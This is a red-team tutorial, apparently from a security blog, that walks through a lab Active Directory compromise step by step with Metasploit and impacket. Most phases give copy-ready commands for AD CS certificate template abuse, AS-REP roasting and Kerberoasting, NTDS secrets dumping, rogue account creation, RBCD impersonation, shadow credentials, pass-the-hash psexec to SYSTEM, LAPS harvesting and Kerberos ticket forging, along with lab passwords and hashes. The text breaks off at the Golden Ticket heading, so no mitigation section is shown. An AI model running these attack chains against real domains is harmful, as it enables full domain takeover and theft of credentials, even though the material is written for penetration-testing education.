The walkthrough covers thirteen distinct attack phases: AD CS template reconnaissance, LDAP enumeration, Kerberos weakness discovery, credential extraction, SAMR account manipulation, Resource-Based Constrained Delegation abuse, Pass-the-Ticket and Pass-the-Hash lateral movement, Shadow Credentials persistence, ESC4 certificate template abuse, post-exploitation AD harvesting, Kerberos ticket forging, and the ultimate Golden Ticket attack. Each phase includes the exact Metasploit syntax used, the operational rationale, and a screenshot of the live module output. The article closes with a comprehensive mitigation playbook that maps every demonstrated primitive to a specific defensive control.

Table of Contents

• Introduction
• Metasploit AD Modules: A Red Team Overview
• Prerequisite
• Lab Environment
• Attack Chain Overview
• Phase 1: AD CS Certificate Template Reconnaissance
  • Reading Existing Certificate Templates
  • Creating a Malicious ESC1 Certificate Template
• Phase 2: LDAP Account and Object Enumeration
  • Enumerating User Accounts
  • Enumerating Privileged Admin Objects
  • Discovering AD CS Certificate Authorities
  • Listing AD CS Certificate Templates
  • Enumerating Domain-Joined Computers
  • Enumerating Domain Policy Information
  • Identifying the Domain Controller
  • Extracting GMSA Password Hashes
  • Enumerating Domain Groups
  • Reading the Machine Account Quota
• Phase 3: Kerberos Weakness Discovery
  • Identifying AS-REP Roastable Accounts
  • Performing AS-REP Roasting
  • Identifying Kerberoastable SPNs
  • Performing Kerberoasting
• Phase 4: Credential Extraction with secretsdump
• Phase 5: SAMR Account Manipulation
  • Creating a Rogue Computer Account
  • Creating a Rogue User Account
  • Resetting Another User’s Password via LDAP
• Phase 6: Resource-Based Constrained Delegation Abuse
  • Reading the RBCD Attribute
  • Writing the RBCD Attribute
  • Forging an S4U Ticket as Administrator
  • Verifying the Forged Ticket
• Phase 7: PSEXEC with Kerberos Authentication
• Phase 8: Shadow Credentials Persistence
  • Injecting Alternate Authentication Material
  • Extracting the NTLM Hash from the Certificate
  • Executing Commands via WMI Pass-the-Hash
• Phase 9: Domain-Wide Credential Dumping
• Phase 10: ESC4 Certificate Template Abuse
  • Hunting Vulnerable Certificate Templates
  • Updating the Vulnerable Template
  • Requesting a Certificate Impersonating Administrator
  • Extracting the Administrator NTLM Hash
  • PSEXEC with the Extracted Hash
• Phase 11: Post-Exploitation Active Directory Enumeration
  • Building a Targeted Wordlist
  • Enumerating All Domain Computers
  • Enumerating All Domain Groups
  • Enumerating All Domain Users
  • Harvesting LAPS Passwords
  • Collecting Domain Information
• Phase 12: Kerberos Ticket Forging
  • Inspecting an Extracted Ticket
  • Forging a Sapphire Ticket
    • Authenticating with the Forged Ticket
  • Managing Kerberos Tickets in the Active Session
  • Phase 13: Golden Ticket Attack
  • Mitigation Strategies
    • Identity and Account Hardening
    • Active Directory Certificate Services Hardening
    • Kerberos and Delegation Hardening
  • Detection and Response
  • Conclusion

 Introduction

Active Directory underpins the authentication and authorisation backbone of nearly every enterprise on the planet, yet its tight integration with LDAP, Kerberos, SMB, RPC, and AD CS opens an attack surface that grows wider with every misconfiguration. This article delivers a complete, end-to-end walkthrough of how a red team operator chains Metasploit’s built-in modules to progress from a single low-privileged credential to total domain dominance against a Windows Server 2019 environment with AD CS deployed.

Metasploit AD Modules: A Red Team Overview

Metasploit Framework bundles dozens of auxiliary modules designed exclusively for Active Directory reconnaissance and exploitation. Two module families dominate this workflow: the LDAP query modules under auxiliary/gather/ and the AD CS modules under auxiliary/admin/ldap/. Together, these modules turn Metasploit into a one-stop shop for AD enumeration — operators can pivot from harvesting domain accounts to dumping GMSA hashes to forging certificate templates without ever leaving the msfconsole prompt.

The auxiliary/gather/ldap_query module deserves special attention. With over 30 predefined ACTIONs, it abstracts complex LDAP filters behind simple keywords like ENUM_ACCOUNTS, ENUM_GROUPS, and ENUM_USER_SPNS_KERBEROAST. Pentesters who would otherwise hand-craft LDAP search filters can fire off targeted queries with two or three set commands, dramatically accelerating the recon phase of any engagement.

Prerequisite

• Windows Server 2019 as Active Directory that supports PKINIT
• Domain must have Active Directory Certificate Services and Certificate Authority configured.
• Kali Linux packed with tools
• Tools: Metasploit, impacket-psexec

 Lab Environment

The walkthrough that follows targets a Domain Controller named DC01 at 192.168.1.20 inside the ignite.local Active Directory domain. The attacker operates from a Kali Linux box running Metasploit Framework v6.4. Two sets of credentials power the engagement: the low-privileged user raj (Password@1) and the domain administrator (Password@1). Throughout the article, the LDAP queries demonstrate how even an unprivileged account extracts surprisingly rich directory data.

Attack Chain Overview

The thirteen-phase chain demonstrated below mirrors how a skilled adversary progresses from reconnaissance to indefinite domain control:

• LDAP Enumeration: Queries the directory for users, groups, computers, domain policies, and Certificate Authorities, surfacing privileged accounts, service accounts, and misconfigured certificate templates.
• Kerberos Weakness Discovery: Identifies accounts vulnerable to AS-REP roasting (no pre-authentication) and Kerberoasting (SPNs tied to user accounts), enabling offline password cracking without alerting the domain.
• AD CS Abuse: Exploits insecure certificate templates to request authentication certificates for privileged users, bypassing password requirements entirely.
• Delegation Exploitation (RBCD): Uses Resource-Based Constrained Delegation to allow a compromised machine account to impersonate privileged users to specific services.
• Kerberos Ticket Manipulation: Requests, forges, and abuses TGS tickets and certificate-based tickets to perform remote code execution and lateral movement.
• Persistence via Shadow Credentials: Injects alternate authentication material into target accounts for continued access without changing legitimate passwords.
• Credential Dumping & Domain Takeover: Extracts NTDS.dit, LSA secrets, and Kerberos tickets to capture every credential in the domain.
• Golden Ticket Attack: Uses the KRBTGT hash to forge permanent, unrestricted Kerberos tickets for indefinite access to all domain resources.

Phase 1: AD CS Certificate Template Reconnaissance

 Reading Existing Certificate Templates

 The following module supports four actions — READ, CREATE, UPDATE, and DELETE — and defaults to READ. The operator loads the module, supplies the unprivileged raj credential, points it at the Domain Controller, and invokes run. The module connects over LDAP and dumps every accessible certificate template, exposing the precise enrollment flags and security descriptors that determine whether a template is exploitable for ESC1 through ESC9 attacks.

use auxiliary/admin/ldap/ad_cs_cert_template
set LDAPDOMAIN ignite.local
set LDAPUSERNAME raj
set LDAPPASSWORD Password@1
set RHOSTS 192.168.1.20
run

Defaulting to the READ action, the module retrieves a template’s full attribute set, including enrollment flags, key usage, and the security descriptor — the exact data points required to identify ESC1 through ESC9 misconfigurations. This module is ideal for passive reconnaissance that leaves minimal traces in the directory.

The output dumps the complete schema for the default User certificate template. The pkiExtendedKeyUsage field exposes the OIDs 1.3.6.1.5.5.7.3.4 (Secure Email), 1.3.6.1.5.5.7.3.2 (Client Authentication), and 1.3.6.1.4.1.311.10.3.4 (Encrypting File System) — confirming this template issues certificates valid for domain authentication.

The CT_FLAG_AUTO_ENROLLMENT and CT_FLAG_PUBLISH_TO_DS flags indicate the template auto-enrols eligible users, while the nTSecurityDescriptor reveals which principals can request a certificate. An attacker reads this single record and immediately knows

Creating a Malicious ESC1 Certificate Template

With Domain Admin credentials in hand (obtained later in the chain or supplied as a stress test), the operator switches to the CREATE action and provisions a brand-new template named esc1.metasploit. Metasploit ships a pre-built YAML template file containing every flag that makes a template ESC1-vulnerable — ENROLLEE_SUPPLIES_SUBJECT, Client Authentication EKU, and a permissive ACL that grants Authenticated Users the right to enrol. Publishing this template into the Certificate Templates container creates a textbook persistence mechanism that survives password resets of the original credential.

set LDAPUSERNAME administrator
set cert_template esc1.metasploit
set TEMPLATE_FILE /usr/share/metasploit-framework/data/auxiliary/admin/ldap/ad_cs_cert_template/esc1_template.yaml
set ACTION create
run

Metasploit confirms the operation with a CN=esc1.metasploit entry now living inside CN=Certificate Templates,CN=Public Key Services. The newly forged template grants Authenticated Users the right to enroll and supply an arbitrary subjectAltName — the textbook ESC1 misconfiguration. From this single command, the attacker has minted a domain-wide privilege escalation primitive that any compromised account can abuse later.

Phase 2: LDAP Account and Object Enumeration

 Enumerating User Accounts

 The following module is the Swiss-Army Knife of AD reconnaissance. With over thirty predefined ACTIONs, it abstracts complex LDAP filters behind simple keywords. The ENUM_ACCOUNTS action returns every user object in the domain along with full SAM attributes — the dataset that seeds every downstream attack. The operator loads the module, supplies the unprivileged raj credential, and selects the desired action.

use auxiliary/gather/ldap_query
set LDAPDOMAIN ignite.local
set LDAPUSERNAME raj
set LDAPPASSWORD Password@1
set ACTION ENUM_ACCOUNTS
run

The module then prints a complete profile of every account, with the highest-value targets surfacing first. The screenshot below shows the Administrator entry with its memberOf cascade exposing membership in Group Policy Creator Owners, Domain Admins, Enterprise Admins, Schema Admins, and the built-in Administrators group — confirming this single account holds total domain authority. The Guest account follows below with its expected disabled state.

Enumerating Privileged Admin Objects

Switching to ENUM_ADMIN_OBJECTS in the query module narrows the query to objects with adminCount=1 — the protected accounts that AdminSDHolder watches over. Use the  following commands to execute this:

set ACTION ENUM_ADMIN_OBJECTS
run

This single action surfaces the highest-value targets in the entire environment without enumerating every user. It isolates the Administrator user and the Administrator’s built-in group. The membership cascade reveals Domain Admins and Enterprise Admins as nested members of Administrators, painting the exact privilege graph an attacker needs for path planning. Defenders should treat any unexpected entries returned by this query as priority investigation items — attackers frequently abuse adminSDHolder to plant covert privileged accounts.

Discovering AD CS Certificate Authorities

The following action enumerates every Certificate Authority registered in the forest, along with the full list of templates each CA publishes. This is the reconnaissance step that precedes every AD CS exploitation chain.

set ACTION ENUM_AD_CS_CAS
run

The query returns ignite-DC01-CA hosted on DC01.ignite.local along with seventeen certificate templates. Notable entries include ESC9, ESC4, ESC3, and ESC2 — names that strongly suggest deliberately vulnerable templates installed for testing — plus DomainController, KerberosAuthentication, and User. An attacker scanning this list immediately identifies which templates warrant a deeper read via the ad_cs_cert_template module.

Listing AD CS Certificate Templates

The ENUM_AD_CS_CERT_TEMPLATES action drills into the Certificate Templates container and returns the schema of every template in the forest. Pairing this output with the CA enumeration above gives the operator a complete map of the certificate issuance ecosystem.

set ACTION ENUM_AD_CS_CERT_TEMPLATES
run

The output exposes both the deliberately vulnerable ESC9 template and the esc1.metasploit template forged earlier in this engagement. Reading the mspki-enrollment-flag and mspki-certificate-name-flag values tells the attacker exactly which ESC class each template belongs to. The presence of pkiExtendedKeyUsage OIDs 1.3.6.1.5.5.7.3.2 (Client Authentication) and 1.3.6.1.4.1.311.10.3.4 (EFS) confirms ESC9 issues certificates suitable for domain authentication — the cornerstone of NTLM relay and certificate-based privilege escalation.

Enumerating Domain-Joined Computers

This action retrieves every machine account joined to the domain, exposing the entire infrastructure topology. This becomes the input map for lateral movement planning. And to execute this action, we can use the following commands:

set ACTION ENUM_COMPUTERS
run

The operator switches the ACTION to ENUM_COMPUTERS and runs the module. Metasploit immediately discovers the base DN and begins streaming results.

The output reveals two notable machines: MSI, a Windows 10 Pro workstation (build 19045) in OU=Tech with SPNs TERMSRV/MSI and HOST/MSI—prime Kerberoasting targets if services run under user accounts; and FakePC in the default Computers container, lacking a DNS hostname with a generic SPN, indicating an attacker-controlled machine account created via MachineAccountQuota abuse for RBCD or Shadow Credentials attacks. Defenders should prioritize investigating unexpected machine accounts.

Enumerating Domain Policy Information

The ENUM_DOMAIN action returns the domain object itself — a small but operationally critical record that exposes the password and lockout policies enforced across every account.

set ACTION ENUM_DOMAIN
run

Permissive password policy detected: 7-character minimum, 42-day maximum age, 0 lockout threshold (disabled), and ms-ds-machineaccountquota=10—enabling unlimited password spraying without lockouts and allowing any authenticated user to create 10 computer accounts for RBCD/Shadow Credentials attacks. Priority: enforce lockouts and set MachineAccountQuota=0.

Identifying the Domain Controller

The ENUM_DC action filters for objects matching the Domain Controllers OU, returning the full list of DCs along with their operating system metadata — essential intelligence for picking the right target for DCSync, NTDS extraction, or Zerologon attempts.

The query confirms DC01 as the single Domain Controller running Windows Server 2019 Standard (build 17763). The OS version informs which kernel-mode and authentication-protocol vulnerabilities are likely to apply — for instance, build 17763 was historically vulnerable to Zerologon (CVE-2020-1472) before patching. The attacker now knows which exact host to target with replication or certificate-based primitives.

Extracting GMSA Password Hashes

Group Managed Service Accounts (GMSAs) auto-rotate their passwords and store the resulting blob in the msds-managedpassword attribute — readable only by accounts whose principal is listed in PrincipalsAllowedToRetrieveManagedPassword. The ENUM_GMSA_HASHES action queries this attribute and returns the blob ready for offline cracking with tools like gmsadumper or impacket-gMSADumper. We will execute this action with the following commands:

Set LDAPUSERNAME komal
Set LDAPPASSWORD Password@1
Set ACTION ENUM_GMSA_HASHES
run

The operator switches to the komal account — a user explicitly granted permission to read the GMSA password — sets ACTION to ENUM_GMSA_HASHES and runs the module. Metasploit returns the raw msds-managedpassword blob for the MyGMSA$ account, which can now be parsed offline to derive both the cleartext password and the corresponding NT hash. Because GMSAs frequently run high-privilege services like SQL Server or scheduled-task runners, recovering this hash is often a direct path to elevated privileges on member servers.

Enumerating Domain Groups

The ENUM_GROUPS action returns every security group in the domain along with full membership data — the precursor to identifying privileged users and planning kerberoast or credential-spray campaigns against members.

set ACTION ENUM_GROUPS
run

The output reveals the Domain Admins group with three members — sanjeet, raj, and Administrator — confirming that compromising either sanjeet or raj leads directly to total domain dominance. Notably, raj is the same low-privileged account driving the queries throughout this article, which is a striking finding: a Domain Admin running unattended LDAP queries from a Kali box represents a serious operational security failure.

Reading the Machine Account Quota

The ENUM_MACHINE_ACCOUNT_QUOTA action targets a single attribute — ms-DS-MachineAccountQuota — to confirm whether the domain still permits non-administrative users to create computer accounts. The value of 10 unlocks a cascade of attack primitives: RBCD, noPac (CVE-2021-42278/42287), Shadow Credentials, and any technique that requires the attacker to control a writable computer object.

set ACTION ENUM_MACHINE_ACCOUNT_QUOTA
run

Phase 3: Kerberos Weakness Discovery

Identifying AS-REP Roastable Accounts

The ENUM_USER_ASREP_ROASTABLE action filters for users whose userAccountControl contains the DONT_REQ_PREAUTH flag (0x400000). These accounts accept Kerberos AS-REQ messages without pre-authentication, allowing any attacker to request an AS-REP encrypted with the user’s password-derived key — ripe for offline cracking. The query returns sanjeet with userAccountControl=4194816 (NORMAL_ACCOUNT + DONT_REQ_PREAUTH).

set ACTION ENUM_USER_ASREP_ROASTABLE
run

Performing AS-REP Roasting

Metasploit ships a dedicated auxiliary/gather/asrep module that constructs an unauthenticated AS-REQ for the target user and prints the resulting AS-REP encrypted blob in Hashcat format ($krb5asrep$). Feeding this hash into hashcat with mode 18200 against rockyou.txt or a custom wordlist typically recovers weak passwords within minutes — all without generating a single failed-logon event on the Domain Controller.

use auxiliary/gather/asrep
set domain ignite.local
set rhosts 192.168.1.20
set username sanjeet
run

Identifying Kerberoastable SPNs

The ENUM_USER_SPNS_KERBEROAST action filters for user accounts (not computers) whose servicePrincipalName attribute is populated. Any such account is a Kerberoasting target — the operator can request a TGS for that SPN, and the response will be encrypted with the service account’s password-derived key. The query returns shivam with the SPN http/dc01.ignite.local, a high-value find because shivam is a user account bound to an HTTP service running on the Domain Controller itself.

set ACTION ENUM_USER_SPNS_KERBEROAST
run

Performing Kerberoasting

Metasploit’s following module ports the well-known Impacket script of the same name into the framework. Given any valid domain credential, the module enumerates Kerberoastable SPNs and immediately requests a TGS for each, printing the result in Hashcat-compatible format ready for offline cracking with mode 13100.

use auxiliary/gather/get_user_spns
set user raj
set pass Password@1
set domain ignite.local
set rhosts 192.168.1.20
run

Phase 4: Credential Extraction with secretsdump

The auxiliary/scanner/smb/impacket/secretsdump module is the offensive operator’s answer to “give me every credential on this host.” Wrapping Impacket’s secretsdump.py inside Metasploit, the module connects over SMB, opens the necessary registry hives, and extracts SAM hashes, LSA secrets, and — if run against a Domain Controller with the right rights — the entire NTDS.dit. The output flows directly into Pass-the-Hash, Pass-the-Ticket, and offline cracking workflows.

use auxiliary/scanner/smb/impacket/secretsdump
set SMBUSER sanjeet
set SMBPASS Password@1
set RHOSTS 192.168.1.20
run

The image below captures the comprehensive credential dump that follows. The output includes local SAM hashes for built-in accounts (Administrator, Guest, DefaultAccount), cached domain logon hashes for offline reuse, LSA secrets (machine account keys, DPAPI keys, NL$KM), and — most critically — the full NTDS.dit dump containing NTLM hashes for every domain account: Administrator, krbtgt, raj, sanjeet, MyGMSA$, DC01$, MSI$, FakePC$, and WIN10S$. The krbtgt hash on this single line represents the keys to the kingdom — anyone holding this hash can forge unrestricted Golden Tickets indefinitely.

Phase 5: SAMR Account Manipulation

Creating a Rogue Computer Account

Active Directory’s default ms-DS-MachineAccountQuota of 10 grants every authenticated user the right to create up to ten computer accounts. The auxiliary/admin/dcerpc/samr_account module weaponises this default by talking directly to the SAMR pipe and provisioning a machine account with attacker-chosen credentials — the exact prerequisite for RBCD, noPac, and Shadow Credentials chains. Critically, the operation succeeds with the unprivileged raj credential.

use auxiliary/admin/dcerpc/samr_account
set SMBDOMAIN ignite.local
set SMBUSER raj
set SMBPASS Password@1
set account_name badpc
set account_password Password@1
set action ADD_COMPUTER
run

Creating a Rogue User Account

The same samr_account module pivots from machine accounts to user accounts simply by switching the action parameter. The ADD_USER action provisions a fresh domain user object — a textbook persistence mechanism that survives password resets of the original credential and blends into the directory among legitimate users.

set action ADD_USER
set account_name baduser
set account_password Password@1
run

Resetting Another User’s Password via LDAP

Once an attacker controls an account with the appropriate ACL on a target user object, the auxiliary/admin/ldap/change_password module resets the target’s password without knowing the current one. This is the LDAP-native equivalent of Set-ADAccountPassword and bypasses the protections that the regular SAMR password change path enforces.

use auxiliary/admin/ldap/change_password
set domain ignite.local
set username sanjeet
set password Password@1
set target_user baduser
set new_password Password@123
run

Phase 6: Resource-Based Constrained Delegation Abuse

Reading the RBCD Attribute

Resource-Based Constrained Delegation hinges on a single attribute: msDS-AllowedToActOnBehalfOfOtherIdentity. When this attribute on a target host names a principal, that principal can request a Kerberos service ticket on behalf of any user — including Domain Admin — and authenticate to the target as that user. The auxiliary/admin/ldap/rbcd module reads, writes, and clears this attribute. The READ action is the safe reconnaissance step before any modification.

use auxiliary/admin/ldap/rbcd
set USERNAME raj
set PASSWORD Password@1
set RHOSTS 192.168.1.20
set DELEGATE_TO DC01$
read

Writing the RBCD Attribute

With baseline established, the operator switches to the write action and supplies the badpc machine account (created earlier via SAMR) as the DELEGATE_FROM principal. The modification succeeds and badpc gains the right to impersonate any user against the Domain Controller — the full RBCD primitive collapses around this one attribute, which is why writes to msDS-AllowedToActOnBehalfOfOtherIdentity belong on every defender’s top-tier alerting list.

set DELEGATE_FROM badpc
write

Forging an S4U Ticket as Administrator

With RBCD configured, the operator chains S4U2Self and S4U2Proxy to forge a service ticket as the Domain Administrator. The auxiliary/admin/kerberos/get_ticket module performs this exact dance: it requests a TGT for badpc, asks the KDC for an S4U2Self ticket impersonating Administrator, and finally requests an S4U2Proxy ticket for the cifs/dc01.ignite.local SPN. Holding this final ticket is functionally equivalent to being Domain Administrator on the file shares of DC01.

use auxiliary/admin/kerberos/get_ticket
set action GET_TGS
set rhost 192.168.1.20
set username badpc
set password Password@1
set domain ignite.local
set spn cifs/dc01.ignite.local
set impersonate Administrator
run

Verifying the Forged Ticket

The klist subcommand inside the same get_ticket module enumerates the local Kerberos cache and confirms the ticket chain. The output below shows three live tickets: the badpc TGT, the S4U2Self ticket where badpc impersonates Administrator to itself, and the prize — an Administrator service ticket for cifs/dc01.ignite.local encrypted with AES256.

Phase 7: PSEXEC with Kerberos Authentication

Armed with a valid Administrator service ticket for the cifs SPN on DC01, the operator launches Metasploit’s exploit/windows/smb/psexec module configured for Kerberos authentication. The module loads the credential cache file produced by the previous step, authenticates to the Domain Controller as Administrator, and drops a Meterpreter payload. The whoami command inside the resulting shell confirms NT AUTHORITY\SYSTEM — full SYSTEM-level code execution on the Domain Controller without ever knowing the Administrator password.

use exploit/windows/smb/psexec
set lhost 192.168.1.21
set rhosts 192.168.1.20
set username Administrator
set smb::auth Kerberos
set domaincontrollerrhost 192.168.1.20
set smbdomain ignite.local
set smb::rhostname dc01.ignite.local
set smb::krb5ccname /root/.msf4/loot/20250711174003_default_192.168.1.20_mit.kerberos.cca_015591.bin
run

Phase 8: Shadow Credentials Persistence

Injecting Alternate Authentication Material

The auxiliary/admin/ldap/shadow_credentials module adds a key-credential entry to the msDS-KeyCredentialLink attribute of a target account over an SSL-encrypted LDAP connection (port 636). The injected key generates a PFX certificate stored locally on the attacker host. Because the technique modifies an attribute rather than the password itself, defenders rarely detect it, and the operator can authenticate as the target account at any future time — even after password resets.

use auxiliary/admin/ldap/shadow_credentials
set rhosts 192.168.1.20
set username krishna
set password Password@1
set domain ignite.local
set target_user dc01$
set rport 636
set ssl true
set action add
run

Extracting the NTLM Hash from the Certificate

With the certificate stored, the operator reuses the get_ticket module — this time with the GET_HASH action — to perform PKINIT authentication and extract the target account’s NTLM hash. The module presents the certificate to the KDC, receives a TGT, and unwraps the embedded NT hash from the PAC. The DC01$ machine account hash returned here unlocks the entire Domain Controller via Pass-the-Hash.

use auxiliary/admin/kerberos/get_ticket
set rhosts 192.168.1.20
set action GET_HASH
set domain ignite.local
set username dc01$
set cert_file /root/.msf4/loot/20250714152040_default_192.168.1.20_windows.ad.cs_315598.pfx
run

Executing Commands via WMI Pass-the-Hash

With the NTLM hash in hand, the operator pivots to the auxiliary/scanner/smb/impacket/wmiexec module to execute commands remotely without supplying a cleartext password. The hashes parameter accepts the empty LM half followed by the recovered NT half. The output below confirms successful ipconfig execution against DC01, returning the full Windows IP Configuration block including the IPv4 192.168.1.20 binding.

use auxiliary/scanner/smb/impacket/wmiexec
set command ipconfig
set hashes aad3b435b51404eeaad3b435b51404ee:64fbae31cc352fc26af97cbdef151e03
set rhosts 192.168.1.20
set smbuser sanjeet
run

Phase 9: Domain-Wide Credential Dumping

With multiple paths to elevated access established, the operator uses auxiliary/gather/windows_secrets_dump to extract every credential the Domain Controller knows about. The module supports five actions; the domain action targets the DC itself and uses the DRSUAPI replication protocol to harvest NTDS.dit secrets without writing the database file to disk.

use auxiliary/gather/windows_secrets_dump
set username sanjeet
set password Password@1
set rhosts 192.168.1.20
set action domain
run

The module then prints a complete NTLM hash dump for every account in the domain. The output below includes the high-privilege accounts (Administrator, krbtgt), every regular user (raj, sanjeet, aarti, shivam, komal, krishna, baduser), and every machine account (DC01$, MSI$, MyGMSA$, WIN10S$, badpc). The krbtgt hash a5a3ba240fa1460779236d9995d8118a is the master key for Golden Ticket forgery — anyone holding this hash can authenticate as any user in the domain forever.

Phase 10: ESC4 Certificate Template Abuse

Hunting Vulnerable Certificate Templates

The auxiliary/gather/ldap_esc_vulnerable_cert_finder module is Metasploit’s automated answer to Certipy’s find command. It enumerates every certificate template the supplied credential can read, evaluates each one against the ESC1 through ESC15 catalogue, and returns a prioritised list of exploitable templates. The crucial point is that this scan executes from a low-privileged account — ESC vulnerabilities, by their nature, expose templates to ordinary Domain Users.

use auxiliary/gather/ldap_esc_vulnerable_cert_finder
set DOMAIN ignite.local
set USERNAME raj
set PASSWORD Password@1
set RHOSTS 192.168.1.20
run

The output flags the ESC4 template as exploitable. ESC4 occurs when low-privileged users hold write permissions on a certificate template, allowing them to alter the template into an ESC1-style enrollment vector. The screenshot below shows that Manager Approval is disabled and that raj sits inside the Domain Users, Domain Admins, and Enterprise Admins groups — every single Write-Enabled SID confirms the operator can modify this template at will.

Updating the Vulnerable Template

Before requesting a malicious certificate, the operator first invokes the ad_cs_cert_template module with the UPDATE action to confirm that the ESC4 template can be modified. The module successfully reads the existing template configuration and writes a backup JSON file to /root/.msf4/loot — confirming that raj genuinely holds write rights on the ESC4 template object, validating the cert_finder’s assessment.

use auxiliary/admin/ldap/ad_cs_cert_template
set RHOSTS 192.168.1.20
set USERNAME raj
set domain ignite.local
set PASSWORD Password@1
set CERT_TEMPLATE ESC4
set ACTION UPDATE
set VERBOSE true
run

Requesting a Certificate Impersonating Administrator

With ESC4 confirmed exploitable, the operator pivots to the auxiliary/admin/dcerpc/icpr_cert module to request a certificate that impersonates the Administrator account. The alt_upn parameter is the key — it tells the CA to issue a certificate where the Subject Alternative Name carries [email protected] instead of raj’s actual UPN. Because raj holds enrollment rights and Manager Approval is disabled, the CA issues the certificate without question.

use auxiliary/admin/dcerpc/icpr_cert
set RHOSTS 192.168.1.20
set CA ignite-DC01-CA
set CERT_TEMPLATE ESC4
set SMBDomain ignite.local
set SMBPass Password@1
set SMBUser raj
set alt_upn administrator
run

Extracting the Administrator NTLM Hash

With the malicious certificate in hand, the operator runs get_ticket with the GET_HASH action to perform PKINIT authentication as the impersonated Administrator account. The KDC accepts the certificate, issues a TGT, and the module extracts the embedded NTLM hash from the PAC — effectively converting a certificate into reusable credential material that can be replayed against every Windows host in the domain.

use admin/kerberos/get_ticket
set action GET_HASH
set CERT_FILE /root/.msf4/loot/20250714160131_default_192.168.1.20_windows.ad.cs_917892.pfx
set RHOSTS 192.168.1.20
set domain ignite.local
set username administrator
run

PSEXEC with the Extracted Hash

With the Administrator NTLM hash extracted, the operator uses Metasploit’s standard psexec module — this time configured for NTLM Pass-the-Hash rather than Kerberos authentication. The module connects to the Domain Controller, authenticates as Administrator using only the hash, and drops a Meterpreter session. From here, the operator owns the entire Domain Controller as the built-in Administrator.

use exploit/windows/smb/psexec
set RHOSTS 192.168.1.20
set smbdomain ignite.local
set username administrator
set smbpass aad3b435b51404eeaad3b435b51404ee:64fbae31cc352fc26af97cbdef151e03
run

Phase 11: Post-Exploitation Active Directory Enumeration

Building a Targeted Wordlist

Once a Meterpreter session is established on a domain-joined host, the post/windows/gather/enum_ad_to_wordlist module mines Active Directory for every word that could appear in a password — usernames, group names, descriptions, computer names, and OU labels — then writes them to a wordlist file. This becomes the ammunition for targeted password spraying campaigns that succeed where generic wordlists fail.

use post/windows/gather/enum_ad_to_wordlist
set session 1
run

Enumerating All Domain Computers

The post/windows/gather/enum_ad_computers module performs an authenticated LDAP search for every machine account in the domain and returns the dNSHostName, distinguishedName, and operatingSystem for each. The FILTER parameter accepts a raw LDAP filter, allowing the operator to narrow results further if needed. The output below identifies DC01 (Windows Server 2019), MSI (Windows 10 Pro), and win10s (Windows 10 Enterprise LTSC).

use post/windows/gather/enum_ad_computers
set session 1
set FILTER (&(objectCategory=computer)(operatingSystem=*))
run

Enumerating All Domain Groups

The post/windows/gather/enum_ad_groups module returns every group object in the domain along with its distinguished name. The output below catalogues the built-in groups — Administrators, Users, Guests, Print Operators, Backup Operators, Replicator, Remote Desktop Users — plus every custom group provisioned by domain administrators. This dataset feeds privilege escalation path planning by exposing the membership graph.

use post/windows/gather/enum_ad_groups
set session 1
run

Enumerating All Domain Users

The post/windows/gather/enum_ad_users module dumps every user account in the domain with sAMAccountName, name, userPrincipalName, and userAccountControl. The userAccountControl values reveal critical attributes — raj’s value of 66048 confirms NORMAL_ACCOUNT plus DONT_EXPIRE_PASSWORD, and sanjeet’s 4194816 confirms the DONT_REQ_PREAUTH flag that enables AS-REP roasting.

use post/windows/gather/enum_ad_users
set session 1
run

Harvesting LAPS Passwords

Local Administrator Password Solution stores randomly generated local admin passwords inside the ms-Mcs-AdmPwd attribute of each computer object, accessible only to principals with the appropriate ACL. The post/windows/gather/credentials/enum_laps module enumerates every LAPS-managed password the current session can read. The output below recovers the cleartext local admin password for the MSI workstation — instant local-admin lateral movement to that host.

use post/windows/gather/credentials/enum_laps
set session 1
run

Collecting Domain Information

The post/windows/gather/enum_domain module returns high-level domain metadata: the FQDN, the NetBIOS name, and the Domain Controller hostname/IP. While each datum looks small, together they form the authoritative reference for every subsequent attack module — the operator stops guessing domain values and starts reading them from the source.

use post/windows/gather/enum_domain
set session 1
run

Phase 12: Kerberos Ticket Forging

Inspecting an Extracted Ticket

Before forging or replaying tickets, the operator uses auxiliary/admin/kerberos/inspect_ticket to decode the existing credential cache. The output reveals the ticket type (TGT for krbtgt/IGNITE.LOCAL), the encryption algorithm (etype 18 = AES256), the AES key, the validity period, and the ticket flags (FORWARDABLE, RENEWABLE, INITIAL, PRE_AUTHENT, CANONICALIZE). Inspecting tickets before use confirms they hold the privileges the operator expects.

use auxiliary/admin/kerberos/inspect_ticket
set TICKET_PATH /home/kali/administrator.ccache
run

Forging a Sapphire Ticket

The auxiliary/admin/kerberos/forge_ticket module supports four actions: FORGE_GOLDEN, FORGE_SILVER, FORGE_DIAMOND, and FORGE_SAPPHIRE. The Sapphire technique requests a legitimate TGT for a low-privileged user (raj) and uses it to perform a U2U (User-to-User) authentication that yields a TGS for the impersonated administrator account — producing a ticket that looks legitimate to defensive monitoring because it carries a valid PAC fetched from the KDC itself.

use admin/kerberos/forge_ticket
set action FORGE_SAPPHIRE
set AES_KEY 854018af26cadd0d664ed3057efd438e6a616367e6aeb65c2e3dfdd7f19a4a33
set USER administrator
set DOMAIN ignite.local
set REQUEST_USER raj
set REQUEST_PASSWORD Password@1
set RHOSTS 192.168.1.20
run

Authenticating with the Forged Ticket

The forged Sapphire ticket is now ready for replay. The operator exports the KRB5CCNAME environment variable to point at the ticket cache file and invokes impacket-psexec with the -k (use Kerberos) and -no-pass flags. impacket-psexec authenticates to DC01 as administrator using only the forged ticket, lands on the ADMIN$ share, uploads a service binary, and drops the operator into a SYSTEM-level shell on the Domain Controller.

export KRB5CCNAME=/root/.msf4/loot/20250719140309_default_192.168.1.20_mit.kerberos.cca_473503.bin
impacket-psexec ignite.local/[email protected] -dc-ip 192.168.1.20 -target-ip 192.168.1.20 -k -no-pass

Managing Kerberos Tickets in the Active Session

The post/windows/manage/kerberos_tickets module operates inside an existing Meterpreter session and supports DUMP_TICKETS, LIST_TICKETS, and PURGE_TICKETS actions. The DUMP_TICKETS action exfiltrates every Kerberos ticket cached on the compromised host, capturing the LSA handle, logon session LUID, principal, ticket flags, and validity windows. Each dumped ticket can be replayed elsewhere on the network for stealthy lateral movement.

use post/windows/manage/kerberos_tickets
set session 1
set action DUMP_TICKETS
run

The screenshot below shows the full output for one of the dumped tickets — the DC01$ machine account TGT with its complete ticket structure, encryption type, ticket flags, and the base64-encoded cipher text. Each dumped credential cache file lands in /root/.msf4/loot ready for inspection or replay.

Phase 13: Golden Ticket Attack

